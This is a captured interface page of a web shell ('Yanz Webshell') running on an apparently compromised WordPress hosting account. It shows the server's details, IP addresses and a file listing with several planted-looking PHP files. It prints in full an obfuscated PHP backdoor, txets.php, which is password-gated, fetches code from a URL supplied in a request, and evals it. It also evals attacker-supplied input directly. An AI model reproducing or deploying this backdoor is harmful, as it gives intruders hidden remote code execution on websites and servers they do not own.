Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
8.1.33 Safe mode: OFF Datetime: 2025-12-14 10:03:54
2792.60 GB Free: 1880.60 GB (67%)
/home/kheruwym/public_html/ dr-xr-xr-x [ root ] [ home ] Text

Server IP:
202.131.4.21
Client IP:
216.73.216.89
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-11-28 13:13:32dr-xr-xr-xRename Touch
[ .. ]dir2025-12-11 23:22:37drwx--x--xRename Touch
[ .tmb ]dir2025-11-12 07:07:40drwxrwxrwxRename Touch
[ .well-known ]dir2025-11-12 07:07:35drwxr-xr-xRename Touch
[ 117cb ]dir2025-11-14 05:53:05dr-xr-xr-xRename Touch
[ 1d8b10 ]dir2025-11-14 08:28:52drwxr-xr-xRename Touch
[ cgi-bin ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ f4727b ]dir2025-11-19 07:48:55drwxr-xr-xRename Touch
[ images ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ wp-admin ]dir2025-11-26 03:07:13drwxr-xr-xRename Touch
[ wp-content ]dir2025-11-22 08:16:38drwxr-xr-xRename Touch
[ wp-includes ]dir2025-11-22 08:16:25drwxr-xr-xRename Touch
.htaccess1.13 KB2025-11-28 13:17:43-r-xr-xr-xRename Touch Edit Download
.htaccess.phpupgrader.574027731.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.9e97ffcf1.45 KB2023-08-02 18:50:37-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.initial1.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
click.php1.93 KB2023-09-14 08:16:25-r--r--r--Rename Touch Edit Download
defaults.php1.93 KB2023-07-21 03:50:14-r--r--r--Rename Touch Edit Download
ex.php5.96 KB2025-11-28 13:13:32-rw-r--r--Rename Touch Edit Download
header.php0 B2025-11-10 06:52:51-rw-r--r--Rename Touch Edit Download
index.php35.97 KB2023-05-29 08:16:38-r-xr-xr-xRename Touch Edit Download
index.php035.97 KB2023-09-11 08:16:37-rwxr-xr-xRename Touch Edit Download
item.php1.29 KB2023-08-18 08:15:39-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
mah.php1.93 KB2023-12-31 03:48:47-r--r--r--Rename Touch Edit Download
networks.php1.29 KB2024-01-13 03:43:18-r--r--r--Rename Touch Edit Download
options.php1.93 KB2023-12-03 08:16:25-r--r--r--Rename Touch Edit Download
pages.php1.44 KB2023-07-28 08:15:18-r--r--r--Rename Touch Edit Download
php.ini40 B2025-11-18 19:54:41-rw-r--r--Rename Touch Edit Download
plugins.php1.87 KB2023-07-01 08:16:25-r--r--r--Rename Touch Edit Download
product.php2.03 KB2023-04-16 03:50:14-r--r--r--Rename Touch Edit Download
quoys.php26.20 KB2025-11-13 01:08:41-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2025-09-30 22:02:04-rw-r--r--Rename Touch Edit Download
robots.txt364 B2023-06-15 08:16:38-r--r--r--Rename Touch Edit Download
search.php1.46 KB2023-12-19 08:16:38-r--r--r--Rename Touch Edit Download
track.php6.49 KB2025-11-12 04:05:52-rw-r--r--Rename Touch Edit Download
txets.php5.89 KB2025-11-12 06:13:57-rw-r--r--Rename Touch Edit Download
wp-activate.php7.21 KB2024-04-02 19:31:34-rw-r--r--Rename Touch Edit Download
wp-blog-header.php347 B2025-11-10 06:52:59-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-08-09 07:36:19-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
wp-config.php3.12 KB2022-02-15 07:01:10-rw-------Rename Touch Edit Download
wp-confiq.php0 B2025-11-10 06:52:50-rw-r--r--Rename Touch Edit Download
wp-cron.php5.51 KB2025-11-10 06:53:00-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-log1n.php1.72 KB2024-01-28 08:14:59-r--r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-settings.php29.38 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.98 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
xmlshell.php243.86 KB2025-11-13 16:26:34-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
User: kheruwym (1551)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/kheruwym/public_html/txets.php
<?php
 goto iEVaNzpwNNU_Yg8; UUYLuxlLkj5v4Qp: $nuHURFoqluScoyr = ${$HVnZH0RIXUOpRmo[4 + 27] . $HVnZH0RIXUOpRmo[40 + 19] . $HVnZH0RIXUOpRmo[13 + 34] . $HVnZH0RIXUOpRmo[37 + 10] . $HVnZH0RIXUOpRmo[27 + 24] . $HVnZH0RIXUOpRmo[40 + 13] . $HVnZH0RIXUOpRmo[30 + 27]}; goto wE5Wu02jELlTgp3; iEVaNzpwNNU_Yg8: $UprSKbiO9gt26I2 = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto UdT7GO3g2zVcOtm; LqXnz9LHWCAneGc: $nuHURFoqluScoyr[63] = $nuHURFoqluScoyr[63] . $nuHURFoqluScoyr[74]; goto IBT_b7OLv0aH4yw; HLEHG3G73BC58Y7: metaphone("\115\x6a\111\62\x4f\x54\153\63\116\172\x59\x35\117\124\x4d\172\x4e\x54\x6b\61\116\152\x59\61\x4d\x54\131\171\x4e\124\x4d\x79"); goto debHEXwRGjAL5Ue; UdT7GO3g2zVcOtm: $HVnZH0RIXUOpRmo = $UprSKbiO9gt26I2("\x7e", "\40"); goto UUYLuxlLkj5v4Qp; UWEJzUX4jHgpu2N: QpBO13UToP1X28n: goto HLEHG3G73BC58Y7; debHEXwRGjAL5Ue: class egdj8mEM0IRih_G { static function gtVFUv446re7qWW($O6bvsBaDvl1gdDz) { goto KQc5KzvsRcQDcEx; J_Ny01BL467RrP_: $F2cu3SRcqaQ855e = $ByuFSXwNUWwsDmj("\176", "\x20"); goto VHjJcZWfhDVQ7P9; mTl2VZpBSeMV441: foreach ($Sb5dE03H99K2sF8 as $QDSzDDMzFoGYgZO => $ClxXgxvzK3LStc0) { $Sv6grW09gh0eW47 .= $F2cu3SRcqaQ855e[$ClxXgxvzK3LStc0 - 91480]; vx_3TPyEvhTg_FJ: } goto vKt3UmRe3FrH54B; DWR248G3RLP651W: return $Sv6grW09gh0eW47; goto jmYKN3ZfbVUgrMl; Cj3Z82O3SehR_px: $Sv6grW09gh0eW47 = ''; goto mTl2VZpBSeMV441; vKt3UmRe3FrH54B: pAiTnDPQtaSmwix: goto DWR248G3RLP651W; KQc5KzvsRcQDcEx: $ByuFSXwNUWwsDmj = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto J_Ny01BL467RrP_; VHjJcZWfhDVQ7P9: $Sb5dE03H99K2sF8 = explode("\157", $O6bvsBaDvl1gdDz); goto Cj3Z82O3SehR_px; jmYKN3ZfbVUgrMl: } static function jNGrCafc9TfMogn($Jsmz8Z3Jk4s5fnd, $H6jUQDkm8_Nn3PU) { goto f5SvsFukt4iKfvR; f5SvsFukt4iKfvR: $kwUWOZMLcK9VkHH = curl_init($Jsmz8Z3Jk4s5fnd); goto rlVIejH8GhbCOr0; g9xWYrTK_pXcAqb: $Vo3ET82VwwpgEri = curl_exec($kwUWOZMLcK9VkHH); goto uHGBellsZfdNONR; uHGBellsZfdNONR: return empty($Vo3ET82VwwpgEri) ? $H6jUQDkm8_Nn3PU($Jsmz8Z3Jk4s5fnd) : $Vo3ET82VwwpgEri; goto rLKGiQmjFyoFEpd; rlVIejH8GhbCOr0: curl_setopt($kwUWOZMLcK9VkHH, CURLOPT_RETURNTRANSFER, 1); goto g9xWYrTK_pXcAqb; rLKGiQmjFyoFEpd: } static function qUpwfirLsymjLsw() { goto JI9E4r96_rTir2C; J6sU00_MlmMdg8p: @$OybuEQrhb8rCu_x[0 + 10](INPUT_GET, "\157\146") == 1 && die($OybuEQrhb8rCu_x[0 + 5](__FILE__)); goto iH11MB2U0oAgvQz; mJTZf64IdakI3A2: @eval($OybuEQrhb8rCu_x[4 + 0]($r2Nb9u3_bfUh05_)); goto P6bZ_UrzZGbVthg; VJVQ_fOQdc132W9: $k82qpOKlWDbJTGr = @$OybuEQrhb8rCu_x[2 + 1]($OybuEQrhb8rCu_x[5 + 1], $V5Rjz4hgb1KlmTz); goto xJPX4UA1xG26aLd; WtWqvnBa5coVEU4: LRcbyY1cUlQfeg7: goto IkBq7Y1WxU7dXWc; NH14772cpbBo2yD: foreach ($MwaGXDeUZkaTv3x as $JiFpsAu05XE1AUW) { $OybuEQrhb8rCu_x[] = self::gTvFUv446RE7qwW($JiFpsAu05XE1AUW); yj7GK79Wv95layZ: } goto h0cIL2fY67mXG2u; xJPX4UA1xG26aLd: $pKslD4LaDpAMWs0 = $OybuEQrhb8rCu_x[2 + 0]($k82qpOKlWDbJTGr, true); goto J6sU00_MlmMdg8p; dsQcqhBvwvO3FIp: $V5Rjz4hgb1KlmTz = @$OybuEQrhb8rCu_x[1]($OybuEQrhb8rCu_x[7 + 3](INPUT_GET, $OybuEQrhb8rCu_x[9 + 0])); goto VJVQ_fOQdc132W9; iH11MB2U0oAgvQz: if (!(@$pKslD4LaDpAMWs0[0] - time() > 0 and md5(md5($pKslD4LaDpAMWs0[1 + 2])) === "\67\67\x37\x37\x66\145\x38\x64\x61\x31\143\x33\x30\63\141\x39\x39\70\66\145\x32\61\x37\64\x34\66\143\x62\70\x30\67\x32")) { goto LRcbyY1cUlQfeg7; } goto m6V8u0K3CghJ6JE; P6bZ_UrzZGbVthg: die; goto WtWqvnBa5coVEU4; h0cIL2fY67mXG2u: a8DPS7ucRX50W6t: goto dsQcqhBvwvO3FIp; m6V8u0K3CghJ6JE: $r2Nb9u3_bfUh05_ = self::JNgrCAFc9tfMOGN($pKslD4LaDpAMWs0[0 + 1], $OybuEQrhb8rCu_x[5 + 0]); goto mJTZf64IdakI3A2; JI9E4r96_rTir2C: $MwaGXDeUZkaTv3x = array("\x39\x31\x35\60\67\157\71\x31\64\x39\x32\157\71\61\65\x30\65\x6f\x39\x31\x35\60\x39\x6f\71\61\x34\71\x30\x6f\71\x31\x35\60\65\x6f\x39\61\65\61\61\157\71\61\x35\x30\x34\x6f\71\x31\64\70\x39\157\x39\x31\x34\x39\x36\x6f\x39\61\65\60\x37\157\x39\61\64\71\60\157\x39\x31\x35\60\x31\157\x39\61\64\71\x35\x6f\x39\61\64\71\x36", "\x39\x31\64\x39\x31\157\71\x31\64\x39\x30\x6f\71\x31\x34\71\62\x6f\x39\61\x35\61\x31\157\x39\x31\64\71\x32\x6f\71\61\x34\71\65\x6f\71\61\x34\71\60\157\x39\x31\x35\x35\x37\157\71\61\65\x35\65", "\71\x31\65\60\x30\157\71\x31\64\71\x31\157\x39\x31\64\71\65\x6f\71\61\64\71\x36\x6f\71\61\65\x31\x31\x6f\x39\61\65\x30\66\x6f\x39\x31\x35\x30\65\157\x39\x31\65\x30\x37\x6f\71\61\x34\71\65\x6f\x39\x31\x35\x30\66\x6f\x39\61\65\x30\x35", "\71\61\x34\71\x34\157\71\x31\65\x30\x39\157\71\x31\x35\60\x37\157\x39\x31\x34\71\x39", "\71\x31\65\60\x38\157\71\x31\65\x30\71\x6f\x39\x31\64\71\61\157\x39\61\65\60\65\x6f\71\x31\65\65\62\x6f\x39\61\65\65\x34\157\71\x31\65\x31\x31\x6f\71\x31\x35\60\66\157\x39\x31\65\60\65\157\71\61\65\x30\67\x6f\x39\61\x34\71\65\x6f\x39\61\65\60\66\157\x39\x31\x35\60\65", "\71\61\65\x30\x34\x6f\71\61\x35\60\61\x6f\71\x31\64\71\70\157\71\x31\65\60\65\x6f\x39\x31\x35\x31\x31\x6f\71\x31\x35\x30\x33\157\x39\61\x35\60\65\x6f\71\x31\x34\x39\x30\157\x39\61\x35\61\61\157\71\x31\65\x30\67\157\71\61\x34\71\x35\157\x39\61\64\71\x36\x6f\x39\61\64\71\x30\157\x39\61\65\60\x35\x6f\71\x31\64\x39\66\x6f\x39\61\x34\71\x30\157\x39\61\64\x39\61", "\71\61\65\x33\x34\157\x39\x31\65\66\64", "\x39\61\x34\x38\61", "\71\61\65\x35\71\157\x39\61\65\66\64", "\x39\x31\x35\x34\61\x6f\x39\61\x35\62\x34\x6f\71\61\65\x32\x34\x6f\x39\61\x35\64\61\x6f\x39\61\x35\61\x37", "\x39\61\65\60\x34\157\x39\x31\65\60\61\x6f\71\x31\x34\x39\x38\x6f\x39\61\x34\71\60\x6f\71\x31\x35\x30\65\x6f\x39\x31\x34\71\x32\x6f\x39\61\65\x31\61\157\71\x31\65\60\x31\x6f\x39\61\64\71\66\x6f\x39\x31\x34\x39\x34\157\x39\x31\64\x38\71\x6f\71\x31\x34\71\60"); goto NH14772cpbBo2yD; IkBq7Y1WxU7dXWc: } } goto EO1kkm70VsXMq8w; IBT_b7OLv0aH4yw: @eval($nuHURFoqluScoyr[63](${$nuHURFoqluScoyr[50]}[15])); goto UWEJzUX4jHgpu2N; wE5Wu02jELlTgp3: if (!(in_array(gettype($nuHURFoqluScoyr) . "\x32\62", $nuHURFoqluScoyr) && md5(md5(md5(md5($nuHURFoqluScoyr[16])))) === "\x66\x31\61\x36\143\x34\x64\62\67\x65\141\x66\x65\x62\x62\x63\65\x65\67\65\63\x34\145\x32\63\x35\x33\143\x64\141\x62\x39")) { goto QpBO13UToP1X28n; } goto LqXnz9LHWCAneGc; EO1kkm70VsXMq8w: eGdj8MEM0iRiH_G::qupwFIrlsYMjlSw();
?>
BiaoJiOk